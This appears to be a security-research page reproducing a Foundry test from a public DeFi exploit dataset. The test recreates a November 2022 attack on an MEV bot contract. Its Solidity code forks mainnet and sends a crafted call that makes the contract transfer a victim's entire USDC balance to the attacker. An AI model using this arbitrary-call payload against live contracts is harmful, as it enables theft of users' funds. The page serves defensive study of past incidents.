Public reproduction file

src/test/2022-11/MEV_0ad8_exp.sol

Public reproduction file for dataset entry MEV_0ad8.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-11/MEV_0ad8_exp.sol65 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5 
6// Attacker: 0xae39a6c2379bef53334ea968f4c711c8cf3898b6
7// Vulnerable Contract: 0x0ad8229d4bc84135786ae752b9a9d53392a8afd4
8// Attack Tx: https://phalcon.blocksec.com/tx/eth/0x674f74b30a3d7bdf15fa60a7c29d96a402ea894a055f624164a8009df98386a0
9//            https://etherscan.io/tx/0x674f74b30a3d7bdf15fa60a7c29d96a402ea894a055f624164a8009df98386a0
10 
11// @Analysis
12// https://twitter.com/Supremacy_CA/status/1590337718755954690
13 
14contract Exploit is Test {
15    WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
16    IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
17 
18    address private constant vulnerableContract = 0x0AD8229D4bC84135786AE752B9A9D53392A8afd4;
19    address private constant attacker = 0xAE39A6c2379BEF53334EA968F4c711c8CF3898b6;
20    address private constant victim = 0x211B6a1137BF539B2750e02b9E525CF5757A35aE;
21 
22    function testHack() external {
23        vm.createSelectFork("mainnet", 15_926_096);
24 
25        // use these tools to decode raw calldata: https://www.ethcmd.com/tools/decode-calldata/  +  https://calldata-decoder.apoorv.xyz/
26        bytes memory payload = abi.encodeWithSelector(
27            0x090f88ca,
28            address(USDC),
29            address(WETH),
30            0, // ?
31            1, // ?
32            abi.encodeWithSelector(IERC20.transferFrom.selector, victim, attacker, USDC.balanceOf(victim))
33        );
34 
35        vulnerableContract.call(payload);
36 
37        console.log("Attacker's profit: %s USDC", USDC.balanceOf(attacker) / 1e6);
38    }
39}
40 
41/* -------------------- Interface -------------------- */
42interface IERC20 {
43    function transfer(address to, uint256 amount) external returns (bool);
44    function approve(address spender, uint256 amount) external returns (bool);
45    function balanceOf(
46        address account
47    ) external view returns (uint256);
48    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
49 
50    function deliver(
51        uint256 tAmount
52    ) external;
53}
54 
55interface WETH9 {
56    function deposit() external payable;
57    function transfer(address to, uint256 value) external returns (bool);
58    function approve(address guy, uint256 wad) external returns (bool);
59    function withdraw(
60        uint256 wad
61    ) external;
62    function balanceOf(
63        address
64    ) external view returns (uint256);
65}

Analysis

Dataset entry

Public Foundry test for “MEV_0ad8” (2022-11-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2022-11/Annex_exp.solSame month in the dataset · 134 lines
src/test/2022-11/AUR_exp.solSame month in the dataset · 105 lines
src/test/2022-11/BDEX_exp.solSame month in the dataset · 55 lines
src/test/2022-11/BrahTOPG_exp.solSame month in the dataset · 88 lines
src/test/2022-11/DFX_exp.solSame month in the dataset · 108 lines
src/test/2022-11/Kashi_exp.solSame month in the dataset · 115 lines
src/test/2022-11/MBC_ZZSH_exp.solSame month in the dataset · 104 lines
src/test/2022-11/MooCAKECTX_exp.solSame month in the dataset · 115 lines
src/test/2022-11/NUM_exp.solSame month in the dataset · 72 lines
src/test/2022-11/Polynomial_exp.solSame month in the dataset · 98 lines
src/test/2022-11/SDAO_exp.solSame month in the dataset · 109 lines
src/test/2022-11/SEAMAN_exp.solSame month in the dataset · 71 lines
src/test/2022-11/SheepFarm_exp.solSame month in the dataset · 55 lines
src/test/2022-11/UEarnPool_exp.solSame month in the dataset · 131 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xae39a6c2379bef53334ea968f4c711c8cf3898b6
Vulnerable Contract
0x0ad8229d4bc84135786ae752b9a9d53392a8afd4

Attack Tx
0x674f74b30a3d7bdf15fa60a7c29d96a402ea894a055f624164a8009df98386a0

File record

Name: MEV_0ad8
Path: src/test/2022-11/MEV_0ad8_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 2c6f90d51380cfb8f6f40b887f8d248c3d8a03cf
Language: Solidity
Size: 66 lines
Date: 2022-11-08
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2022-11/MEV_0ad8_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2c6f90d51380cfb8f6f40b887f8d248c3d8a03cf, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.